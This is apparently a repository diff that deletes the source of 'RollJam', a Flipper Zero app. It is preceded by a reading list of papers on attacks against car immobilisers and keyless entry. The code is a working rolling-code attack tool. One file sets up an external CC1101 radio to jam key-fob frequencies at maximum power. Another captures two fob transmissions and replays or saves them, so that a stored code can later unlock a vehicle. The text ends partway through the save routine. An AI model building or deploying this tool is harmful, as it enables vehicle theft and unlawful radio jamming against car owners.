DOI: [10.1007/978-3-642-02384-2_25](https://doi.org/10.1007/978-3-642-02384-2_25)
### Immobiliser & Transponder Cipher Attacks
- **Gone in 360 Seconds: Hijacking with Hitag2**
Roel Verdult, Flavio D. Garcia, Josep Balasch
*21st USENIX Security Symposium (USENIX Security '12), pp. 237252*
DOI: [10.5555/2362793.2362830](https://doi.org/10.5555/2362793.2362830)
https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final95.pdf
- **Dismantling Megamos Crypto: Wirelessly Lockpicking a Vehicle Immobilizer**
Roel Verdult, Flavio D. Garcia, Baris Ege
*Supplement to 22nd USENIX Security Symposium (USENIX Security '13/15), pp. 703718*
https://www.usenix.org/sites/default/files/sec15_supplement.pdf
- **Dismantling the AUT64 Automotive Cipher**
Christopher Hicks, Flavio D. Garcia, David Oswald
*IACR Transactions on Cryptographic Hardware and Embedded Systems (TCHES), 2018, Vol. 2018(2), pp. 4669*
DOI: [10.13154/tches.v2018.i2.46-69](https://doi.org/10.13154/tches.v2018.i2.46-69)
### RFID & Protocol Analysis Tooling
- **A Toolbox for RFID Protocol Analysis**
Flavio D. Garcia
*IEEE International Conference on RFID, 2012*
DOI: [10.1109/rfid.2012.19](https://doi.org/10.1109/rfid.2012.19)
### Relay & Replay Attacks
- **Relay Attacks on Passive Keyless Entry and Start Systems in Modern Cars**
Aurélien Francillon, Boris Danev, Srdjan Čapkun
*NDSS 2011*
https://www.ndss-symposium.org/ndss2011/relay-attacks-on-passive-keyless-entry-and-start-systems-in-modern-cars/
- **Implementing and Testing RollJam on Software-Defined Radios**
*Università di Bologna (UNIBO), CRIS*
https://cris.unibo.it/handle/11585/999874
- **Enhanced Vehicular Roll-Jam Attack Using a Known Noise Source**
*Inaugural International Symposium on Vehicle Security & Privacy, January 2023*
DOI: [10.14722/vehiclesec.2023.23037](https://doi.org/10.14722/vehiclesec.2023.23037)
- **RollBack: A New Time-Agnostic Replay Attack Against the Automotive Remote Keyless Entry Systems**
Levente Csikor, Hoon Wei Lim, Jun Wen Wong, Soundarya Ramesh, Rohini Poolat Parameswarath, Mun Choon Chan
*Black Hat USA 2022; ACM Transactions on Cyber-Physical Systems, 2024*
DOI: [10.1145/3627827](https://doi.org/10.1145/3627827)
https://i.blackhat.com/USA-22/Thursday/US-22-Csikor-Rollback-A-New-Time-Agnostic-Replay-wp.pdf
- **Rolling-PWN Attack (Honda RKE Vulnerability)**
Kevin2600 (Haoqi Shan), Wesley Li — Star-V Lab
*Independent disclosure, 2022 (CVE-2021-46145)*
https://rollingpwn.github.io/rolling-pwn/
---
# Disclaimer

View File

@@ -1,23 +0,0 @@
App(
appid="rolljam",
name="RollJam",
apptype=FlipperAppType.MENUEXTERNAL,
entry_point="rolljam_app",
stack_size=4 * 1024,
fap_category="Sub-GHz",
fap_icon="rolljam.png",
fap_icon_assets="images",
fap_libs=["assets"],
fap_description="RollJam rolling code attack tool",
fap_author="@user",
fap_version="1.0",
fap_weburl="",
requires=[
"gui",
"subghz",
"notification",
"storage",
"dialogs",
],
provides=[],
)

View File

@@ -1,534 +0,0 @@
#include "rolljam_cc1101_ext.h"
#include <furi_hal_gpio.h>
#include <furi_hal_resources.h>
#include <furi_hal_cortex.h>
#include <furi_hal_power.h>
// ============================================================
// 5V OTG power for external modules (e.g. Rabbit Lab Flux Capacitor)
// ============================================================
static bool otg_was_enabled = false;
static void rolljam_ext_power_on(void) {
otg_was_enabled = furi_hal_power_is_otg_enabled();
if(!otg_was_enabled) {
uint8_t attempts = 0;
while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
furi_hal_power_enable_otg();
furi_delay_ms(10);
}
}
}
static void rolljam_ext_power_off(void) {
if(!otg_was_enabled) {
furi_hal_power_disable_otg();
}
}
// ============================================================
// GPIO Pins
// ============================================================
static const GpioPin* pin_mosi = &gpio_ext_pa7;
static const GpioPin* pin_miso = &gpio_ext_pa6;
static const GpioPin* pin_cs = &gpio_ext_pa4;
static const GpioPin* pin_sck = &gpio_ext_pb3;
static const GpioPin* pin_gdo0 = &gpio_ext_pb2;
// ============================================================
// CC1101 Registers
// ============================================================
#define CC_IOCFG2 0x00
#define CC_IOCFG0 0x02
#define CC_FIFOTHR 0x03
#define CC_SYNC1 0x04
#define CC_SYNC0 0x05
#define CC_PKTLEN 0x06
#define CC_PKTCTRL1 0x07
#define CC_PKTCTRL0 0x08
#define CC_FSCTRL1 0x0B
#define CC_FSCTRL0 0x0C
#define CC_FREQ2 0x0D
#define CC_FREQ1 0x0E
#define CC_FREQ0 0x0F
#define CC_MDMCFG4 0x10
#define CC_MDMCFG3 0x11
#define CC_MDMCFG2 0x12
#define CC_MDMCFG1 0x13
#define CC_MDMCFG0 0x14
#define CC_DEVIATN 0x15
#define CC_MCSM1 0x17
#define CC_MCSM0 0x18
#define CC_FOCCFG 0x19
#define CC_AGCCTRL2 0x1B
#define CC_AGCCTRL1 0x1C
#define CC_AGCCTRL0 0x1D
#define CC_FREND0 0x22
#define CC_FSCAL3 0x23
#define CC_FSCAL2 0x24
#define CC_FSCAL1 0x25
#define CC_FSCAL0 0x26
#define CC_TEST2 0x2C
#define CC_TEST1 0x2D
#define CC_TEST0 0x2E
#define CC_PATABLE 0x3E
#define CC_TXFIFO 0x3F
#define CC_PARTNUM 0x30
#define CC_VERSION 0x31
#define CC_MARCSTATE 0x35
#define CC_TXBYTES 0x3A
#define CC_SRES 0x30
#define CC_SCAL 0x33
#define CC_STX 0x35
#define CC_SIDLE 0x36
#define CC_SFTX 0x3B
#define MARC_IDLE 0x01
#define MARC_TX 0x13
// ============================================================
// Bit-bang SPI
// ============================================================
static inline void spi_delay(void) {
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
}
static inline void cs_lo(void) {
furi_hal_gpio_write(pin_cs, false);
spi_delay(); spi_delay();
}
static inline void cs_hi(void) {
spi_delay();
furi_hal_gpio_write(pin_cs, true);
spi_delay(); spi_delay();
}
static bool wait_miso(uint32_t us) {
CoreDebug->DEMCR |= CoreDebug_DEMCR_TRCENA_Msk;
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
uint32_t s = DWT->CYCCNT;
uint32_t t = (SystemCoreClock / 1000000) * us;
while(furi_hal_gpio_read(pin_miso)) {
if((DWT->CYCCNT - s) > t) return false;
}
return true;
}
static uint8_t spi_byte(uint8_t tx) {
uint8_t rx = 0;
for(int8_t i = 7; i >= 0; i--) {
furi_hal_gpio_write(pin_mosi, (tx >> i) & 0x01);
spi_delay();
furi_hal_gpio_write(pin_sck, true);
spi_delay();
if(furi_hal_gpio_read(pin_miso)) rx |= (1 << i);
furi_hal_gpio_write(pin_sck, false);
spi_delay();
}
return rx;
}
static uint8_t cc_strobe(uint8_t cmd) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
uint8_t s = spi_byte(cmd);
cs_hi();
return s;
}
static void cc_write(uint8_t a, uint8_t v) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return; }
spi_byte(a);
spi_byte(v);
cs_hi();
}
static uint8_t cc_read(uint8_t a) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
spi_byte(a | 0x80);
uint8_t v = spi_byte(0x00);
cs_hi();
return v;
}
static uint8_t cc_read_status(uint8_t a) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
spi_byte(a | 0xC0);
uint8_t v = spi_byte(0x00);
cs_hi();
return v;
}
static void cc_write_burst(uint8_t a, const uint8_t* d, uint8_t n) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return; }
spi_byte(a | 0x40);
for(uint8_t i = 0; i < n; i++) spi_byte(d[i]);
cs_hi();
}
// ============================================================
// Helpers
// ============================================================
static bool cc_reset(void) {
cs_hi(); furi_delay_us(30);
cs_lo(); furi_delay_us(30);
cs_hi(); furi_delay_us(50);
cs_lo();
if(!wait_miso(10000)) { cs_hi(); return false; }
spi_byte(CC_SRES);
if(!wait_miso(100000)) { cs_hi(); return false; }
cs_hi();
furi_delay_ms(5);
FURI_LOG_I(TAG, "EXT: Reset OK");
return true;
}
static bool cc_check(void) {
uint8_t p = cc_read_status(CC_PARTNUM);
uint8_t v = cc_read_status(CC_VERSION);
FURI_LOG_I(TAG, "EXT: PART=0x%02X VER=0x%02X", p, v);
return (v == 0x14 || v == 0x04 || v == 0x03);
}
static uint8_t cc_state(void) {
return cc_read_status(CC_MARCSTATE) & 0x1F;
}
static uint8_t cc_txbytes(void) {
return cc_read_status(CC_TXBYTES) & 0x7F;
}
static void cc_idle(void) {
cc_strobe(CC_SIDLE);
for(int i = 0; i < 500; i++) {
if(cc_state() == MARC_IDLE) return;
furi_delay_us(50);
}
}
static void cc_set_freq(uint32_t f) {
uint32_t r = (uint32_t)(((uint64_t)f << 16) / 26000000ULL);
cc_write(CC_FREQ2, (r >> 16) & 0xFF);
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
cc_write(CC_FREQ0, r & 0xFF);
}
// ============================================================
// JAMMING APPROACH: Random OOK noise via FIFO
// ============================================================
/*
* Previous approaches and their problems:
*
* 1. FIFO random data (first attempt):
* - 100% underflow because data rate was too high
*
* 2. Broadband GDO0 toggling:
* - Self-interference with internal CC1101
*
* 3. Pure CW carrier:
* - Too weak/narrow to jam effectively
*
* NEW APPROACH: Low data rate FIFO feeding
*
* Key insight: the underflow happened because data rate was
* 115 kBaud and we couldn't feed the FIFO fast enough from
* the thread (furi_delay + SPI overhead).
*
* Solution: Use LOW data rate (~1.2 kBaud) so the FIFO
* drains very slowly. 64 bytes at 1.2 kBaud lasts ~426ms!
* That's plenty of time to refill.
*
* At 1.2 kBaud with random data, the OOK signal creates
* random on/off keying with ~833us per bit. This produces
* a modulated signal with ~1.2kHz bandwidth - enough to
* disrupt OOK receivers but narrow enough to not self-jam.
*
* Combined with the 700kHz offset, this is:
* - Visible on spectrum analyzers (modulated signal)
* - Effective at disrupting victim receivers
* - NOT interfering with our narrow 58kHz RX
*/
static bool cc_configure_jam(uint32_t freq) {
FURI_LOG_I(TAG, "EXT: Config OOK noise jam at %lu Hz", freq);
cc_idle();
// GDO0: TX FIFO threshold
cc_write(CC_IOCFG0, 0x02); // GDO0 asserts when TX FIFO below threshold
cc_write(CC_IOCFG2, 0x0E); // Carrier sense
// Fixed packet length, 255 bytes per packet
cc_write(CC_PKTCTRL0, 0x00); // Fixed length, no CRC, no whitening
cc_write(CC_PKTCTRL1, 0x00); // No address check
cc_write(CC_PKTLEN, 0xFF); // 255 bytes per packet
// FIFO threshold: alert when TX FIFO has space for 33+ bytes
cc_write(CC_FIFOTHR, 0x07);
// No sync word - just raw data
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
// Frequency
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
// CRITICAL: LOW data rate to prevent FIFO underflow
// 1.2 kBaud: DRATE_E=5, DRATE_M=67
// At this rate, 64 bytes = 64*8/1200 = 426ms before FIFO empty
cc_write(CC_MDMCFG4, 0x85); // BW=325kHz (for TX spectral output), DRATE_E=5
cc_write(CC_MDMCFG3, 0x43); // DRATE_M=67 → ~1.2 kBaud
cc_write(CC_MDMCFG2, 0x30); // ASK/OOK, no sync word
cc_write(CC_MDMCFG1, 0x00); // No preamble
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, 0x47);
// Auto-return to TX after packet sent
cc_write(CC_MCSM1, 0x00); // TXOFF -> IDLE (we manually re-enter TX)
cc_write(CC_MCSM0, 0x18); // Auto-cal IDLE->TX
// MAX TX power
cc_write(CC_FREND0, 0x11); // PA index 1 for OOK high
// PATABLE: ALL entries at max power
// Index 0 = 0x00 for OOK "0" (off)
// Index 1 = 0xC0 for OOK "1" (+12 dBm)
uint8_t pa[8] = {0x00, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
// Calibration
cc_write(CC_FSCAL3, 0xEA);
cc_write(CC_FSCAL2, 0x2A);
cc_write(CC_FSCAL1, 0x00);
cc_write(CC_FSCAL0, 0x1F);
// Test regs
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
// Calibrate
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
// Verify configuration
uint8_t st = cc_state();
uint8_t mdm4 = cc_read(CC_MDMCFG4);
uint8_t mdm3 = cc_read(CC_MDMCFG3);
uint8_t mdm2 = cc_read(CC_MDMCFG2);
uint8_t pkt0 = cc_read(CC_PKTCTRL0);
uint8_t plen = cc_read(CC_PKTLEN);
uint8_t pa0 = cc_read(CC_PATABLE);
FURI_LOG_I(TAG, "EXT: MDM4=0x%02X MDM3=0x%02X MDM2=0x%02X PKT0=0x%02X PLEN=%d PA=0x%02X state=0x%02X",
mdm4, mdm3, mdm2, pkt0, plen, pa0, st);
return (st == MARC_IDLE);
}
// ============================================================
// Jam thread - FIFO-fed OOK at low data rate
// ============================================================
static int32_t jam_thread_worker(void* context) {
RollJamApp* app = context;
FURI_LOG_I(TAG, "========================================");
FURI_LOG_I(TAG, "JAM: LOW-RATE OOK NOISE MODE");
FURI_LOG_I(TAG, "Target: %lu Jam: %lu (+%lu)",
app->frequency, app->jam_frequency, (uint32_t)JAM_OFFSET_HZ);
FURI_LOG_I(TAG, "========================================");
if(!cc_reset()) {
FURI_LOG_E(TAG, "JAM: Reset failed!");
return -1;
}
if(!cc_check()) {
FURI_LOG_E(TAG, "JAM: No chip!");
return -1;
}
if(!cc_configure_jam(app->jam_frequency)) {
FURI_LOG_E(TAG, "JAM: Config failed!");
return -1;
}
// PRNG state
uint32_t prng = 0xDEADBEEF ^ (uint32_t)(app->jam_frequency);
// Flush TX FIFO
cc_strobe(CC_SFTX);
furi_delay_ms(1);
// Pre-fill FIFO with random data (64 bytes max FIFO)
uint8_t noise[62];
for(uint8_t i = 0; i < 62; i++) {
prng ^= prng << 13;
prng ^= prng >> 17;
prng ^= prng << 5;
noise[i] = (uint8_t)(prng & 0xFF);
}
cc_write_burst(CC_TXFIFO, noise, 62);
uint8_t txb = cc_txbytes();
FURI_LOG_I(TAG, "JAM: FIFO pre-filled, txbytes=%d", txb);
// Enter TX
cc_strobe(CC_STX);
furi_delay_ms(5);
uint8_t st = cc_state();
FURI_LOG_I(TAG, "JAM: After STX state=0x%02X", st);
if(st != MARC_TX) {
// Retry
cc_idle();
cc_strobe(CC_SFTX);
furi_delay_ms(1);
cc_write_burst(CC_TXFIFO, noise, 62);
cc_strobe(CC_STX);
furi_delay_ms(5);
st = cc_state();
FURI_LOG_I(TAG, "JAM: Retry state=0x%02X", st);
if(st != MARC_TX) {
FURI_LOG_E(TAG, "JAM: Cannot enter TX!");
return -1;
}
}
FURI_LOG_I(TAG, "JAM: *** OOK NOISE ACTIVE ***");
uint32_t loops = 0;
uint32_t underflows = 0;
uint32_t refills = 0;
while(app->jam_thread_running) {
loops++;
st = cc_state();
if(st != MARC_TX) {
// Packet finished or underflow - reload and re-enter TX
underflows++;
cc_idle();
cc_strobe(CC_SFTX);
furi_delay_us(100);
// Refill with new random data
for(uint8_t i = 0; i < 62; i++) {
prng ^= prng << 13;
prng ^= prng >> 17;
prng ^= prng << 5;
noise[i] = (uint8_t)(prng & 0xFF);
}
cc_write_burst(CC_TXFIFO, noise, 62);
cc_strobe(CC_STX);
furi_delay_ms(1);
continue;
}
// Check if FIFO needs refilling
txb = cc_txbytes();
if(txb < 20) {
// Refill what we can
uint8_t space = 62 - txb;
if(space > 50) space = 50;
for(uint8_t i = 0; i < space; i++) {
prng ^= prng << 13;
prng ^= prng >> 17;
prng ^= prng << 5;
noise[i] = (uint8_t)(prng & 0xFF);
}
cc_write_burst(CC_TXFIFO, noise, space);
refills++;
}
// Log periodically
if(loops % 500 == 0) {
FURI_LOG_I(TAG, "JAM: active loops=%lu uf=%lu refills=%lu txb=%d st=0x%02X",
loops, underflows, refills, cc_txbytes(), cc_state());
}
// At 1.2 kBaud, 62 bytes last ~413ms
// Check every 50ms - plenty of time
furi_delay_ms(50);
}
cc_idle();
FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills);
return 0;
}
// ============================================================
// GPIO
// ============================================================
void rolljam_ext_gpio_init(void) {
FURI_LOG_I(TAG, "EXT GPIO init");
furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_cs, true);
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_sck, false);
furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_mosi, false);
furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
}
void rolljam_ext_gpio_deinit(void) {
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
FURI_LOG_I(TAG, "EXT GPIO deinit");
}
// ============================================================
// Public
// ============================================================
void rolljam_jammer_start(RollJamApp* app) {
if(app->jamming_active) return;
app->jam_frequency = app->frequency + JAM_OFFSET_HZ;
rolljam_ext_power_on();
furi_delay_ms(100);
rolljam_ext_gpio_init();
furi_delay_ms(10);
app->jam_thread_running = true;
app->jam_thread = furi_thread_alloc_ex("RJ_Jam", 4096, jam_thread_worker, app);
furi_thread_start(app->jam_thread);
app->jamming_active = true;
FURI_LOG_I(TAG, ">>> JAMMER STARTED <<<");
}
void rolljam_jammer_stop(RollJamApp* app) {
if(!app->jamming_active) return;
app->jam_thread_running = false;
furi_thread_join(app->jam_thread);
furi_thread_free(app->jam_thread);
app->jam_thread = NULL;
rolljam_ext_gpio_deinit();
rolljam_ext_power_off();
app->jamming_active = false;
FURI_LOG_I(TAG, ">>> JAMMER STOPPED <<<");
}

View File

@@ -1,22 +0,0 @@
#pragma once
#include "../rolljam.h"
/*
* External CC1101 module connected via GPIO (bit-bang SPI).
* Used EXCLUSIVELY for JAMMING (TX).
*
* Wiring (as connected):
* CC1101 VCC -> Flipper Pin 9 (3V3)
* CC1101 GND -> Flipper Pin 11 (GND)
* CC1101 MOSI -> Flipper Pin 2 (PA7)
* CC1101 MISO -> Flipper Pin 3 (PA6)
* CC1101 SCK -> Flipper Pin 5 (PB3)
* CC1101 CS -> Flipper Pin 4 (PA4)
* CC1101 GDO0 -> Flipper Pin 6 (PB2)
*/
void rolljam_ext_gpio_init(void);
void rolljam_ext_gpio_deinit(void);
void rolljam_jammer_start(RollJamApp* app);
void rolljam_jammer_stop(RollJamApp* app);

View File

@@ -1,457 +0,0 @@
#include "rolljam_receiver.h"
#include <furi_hal_subghz.h>
#include <furi_hal_rtc.h>
#define CC_IOCFG0 0x02
#define CC_FIFOTHR 0x03
#define CC_MDMCFG4 0x10
#define CC_MDMCFG3 0x11
#define CC_MDMCFG2 0x12
#define CC_MDMCFG1 0x13
#define CC_MDMCFG0 0x14
#define CC_DEVIATN 0x15
#define CC_MCSM0 0x18
#define CC_FOCCFG 0x19
#define CC_AGCCTRL2 0x1B
#define CC_AGCCTRL1 0x1C
#define CC_AGCCTRL0 0x1D
#define CC_FREND0 0x22
#define CC_FSCAL3 0x23
#define CC_FSCAL2 0x24
#define CC_FSCAL1 0x25
#define CC_FSCAL0 0x26
// ============================================================
// Presets
// ============================================================
static const uint8_t preset_ook_rx[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0xE7, // RX BW ~58kHz
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x30,
CC_MDMCFG1, 0x00,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_FREND0, 0x11,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
};
static const uint8_t preset_fsk_rx[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0xE7,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x15,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
};
static const uint8_t preset_ook_tx[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x30,
CC_MDMCFG1, 0x00,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_FREND0, 0x11,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
};
// ============================================================
// Capture state machine
// ============================================================
#define MIN_PULSE_US 50
#define MAX_PULSE_US 5000
#define SILENCE_GAP_US 10000
#define MIN_FRAME_PULSES 40
#define AUTO_ACCEPT_PULSES 150
typedef enum {
CapWaiting,
CapRecording,
CapDone,
} CapState;
static volatile CapState cap_state;
static volatile int cap_valid_count;
static volatile int cap_total_count;
static volatile bool cap_target_first;
static volatile uint32_t cap_callback_count;
static void capture_rx_callback(bool level, uint32_t duration, void* context) {
RollJamApp* app = context;
if(!app->raw_capture_active) return;
if(cap_state == CapDone) return;
cap_callback_count++;
RawSignal* target;
if(cap_target_first) {
target = &app->signal_first;
if(target->valid) return;
} else {
target = &app->signal_second;
if(target->valid) return;
}
uint32_t dur = duration;
if(dur > 32767) dur = 32767;
switch(cap_state) {
case CapWaiting:
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapRecording;
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
cap_valid_count++;
cap_total_count++;
}
break;
case CapRecording:
if(target->size >= RAW_SIGNAL_MAX_SIZE) {
if(cap_valid_count >= MIN_FRAME_PULSES) {
cap_state = CapDone;
} else {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapWaiting;
}
return;
}
if(dur > SILENCE_GAP_US) {
if(cap_valid_count >= MIN_FRAME_PULSES) {
if(target->size < RAW_SIGNAL_MAX_SIZE) {
int16_t s = level ? (int16_t)32767 : -32767;
target->data[target->size++] = s;
}
cap_state = CapDone;
} else {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapWaiting;
}
return;
}
{
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
cap_total_count++;
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
cap_valid_count++;
if(cap_valid_count >= AUTO_ACCEPT_PULSES) {
cap_state = CapDone;
}
}
}
break;
case CapDone:
break;
}
}
// ============================================================
// Capture start/stop
// ============================================================
void rolljam_capture_start(RollJamApp* app) {
FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d", app->frequency, app->mod_index);
// Full radio reset sequence
furi_hal_subghz_reset();
furi_delay_ms(10);
furi_hal_subghz_idle();
furi_delay_ms(10);
const uint8_t* preset;
switch(app->mod_index) {
case ModIndex_FM238:
case ModIndex_FM476:
preset = preset_fsk_rx;
break;
default:
preset = preset_ook_rx;
break;
}
furi_hal_subghz_load_custom_preset(preset);
furi_delay_ms(5);
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
FURI_LOG_I(TAG, "Capture: freq set to %lu", real_freq);
furi_delay_ms(5);
// Reset state machine
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
cap_callback_count = 0;
// Determine target
if(!app->signal_first.valid) {
cap_target_first = true;
app->signal_first.size = 0;
app->signal_first.valid = false;
FURI_LOG_I(TAG, "Capture target: FIRST signal");
} else {
cap_target_first = false;
app->signal_second.size = 0;
app->signal_second.valid = false;
FURI_LOG_I(TAG, "Capture target: SECOND signal (first already valid, size=%d)",
app->signal_first.size);
}
app->raw_capture_active = true;
furi_hal_subghz_start_async_rx(capture_rx_callback, app);
FURI_LOG_I(TAG, "Capture: RX STARTED, active=%d, target_first=%d",
app->raw_capture_active, cap_target_first);
}
void rolljam_capture_stop(RollJamApp* app) {
if(!app->raw_capture_active) {
FURI_LOG_W(TAG, "Capture stop: was not active");
return;
}
app->raw_capture_active = false;
furi_hal_subghz_stop_async_rx();
furi_delay_ms(5);
furi_hal_subghz_idle();
furi_delay_ms(5);
FURI_LOG_I(TAG, "Capture stopped. callbacks=%lu capState=%d validCnt=%d totalCnt=%d",
cap_callback_count, cap_state, cap_valid_count, cap_total_count);
FURI_LOG_I(TAG, " Sig1: size=%d valid=%d", app->signal_first.size, app->signal_first.valid);
FURI_LOG_I(TAG, " Sig2: size=%d valid=%d", app->signal_second.size, app->signal_second.valid);
}
// ============================================================
// Validation
// ============================================================
bool rolljam_signal_is_valid(RawSignal* signal) {
if(cap_state != CapDone) {
// Log every few checks so we can see if callbacks are happening
static int check_count = 0;
check_count++;
if(check_count % 10 == 0) {
FURI_LOG_D(TAG, "Validate: not done yet, state=%d callbacks=%lu valid=%d total=%d sig_size=%d",
cap_state, cap_callback_count, cap_valid_count, cap_total_count, signal->size);
}
return false;
}
if(signal->size < MIN_FRAME_PULSES) return false;
int good = 0;
int total = (int)signal->size;
for(int i = 0; i < total; i++) {
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
if(abs_val >= MIN_PULSE_US && abs_val <= MAX_PULSE_US) {
good++;
}
}
int ratio_pct = (total > 0) ? ((good * 100) / total) : 0;
if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) {
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) samples=%d",
good, total, ratio_pct, total);
return true;
}
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%), reset", good, total, ratio_pct);
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
return false;
}
// ============================================================
// TX
// ============================================================
typedef struct {
const int16_t* data;
size_t size;
volatile size_t index;
} TxCtx;
static TxCtx g_tx;
static LevelDuration tx_feed(void* context) {
UNUSED(context);
if(g_tx.index >= g_tx.size) return level_duration_reset();
int16_t sample = g_tx.data[g_tx.index++];
bool level = (sample > 0);
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
return level_duration_make(level, dur);
}
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
if(!signal->valid || signal->size == 0) {
FURI_LOG_E(TAG, "TX: no valid signal");
return;
}
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz", signal->size, app->frequency);
furi_hal_subghz_reset();
furi_hal_subghz_idle();
furi_delay_ms(10);
furi_hal_subghz_load_custom_preset(preset_ook_tx);
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
FURI_LOG_I(TAG, "TX: freq=%lu", real_freq);
g_tx.data = signal->data;
g_tx.size = signal->size;
g_tx.index = 0;
if(!furi_hal_subghz_start_async_tx(tx_feed, NULL)) {
FURI_LOG_E(TAG, "TX: start failed!");
furi_hal_subghz_idle();
return;
}
uint32_t timeout = 0;
while(!furi_hal_subghz_is_async_tx_complete()) {
furi_delay_ms(5);
if(++timeout > 2000) {
FURI_LOG_E(TAG, "TX: timeout!");
break;
}
}
furi_hal_subghz_stop_async_tx();
furi_hal_subghz_idle();
FURI_LOG_I(TAG, "TX: done (%d/%d)", g_tx.index, signal->size);
}
// ============================================================
// Save
// ============================================================
void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
if(!signal->valid || signal->size == 0) {
FURI_LOG_E(TAG, "Save: no signal");
return;
}
DateTime dt;
furi_hal_rtc_get_datetime(&dt);
FuriString* path = furi_string_alloc_printf(
"/ext/subghz/RJ_%04d%02d%02d_%02d%02d%02d.sub",
dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second);
FURI_LOG_I(TAG, "Saving: %s", furi_string_get_cstr(path));
Storage* storage = furi_record_open(RECORD_STORAGE);
storage_simply_mkdir(storage, "/ext/subghz");
File* file = storage_file_alloc(storage);
if(storage_file_open(file, furi_string_get_cstr(path), FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
FuriString* line = furi_string_alloc();
furi_string_set(line, "Filetype: Flipper SubGhz RAW File\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
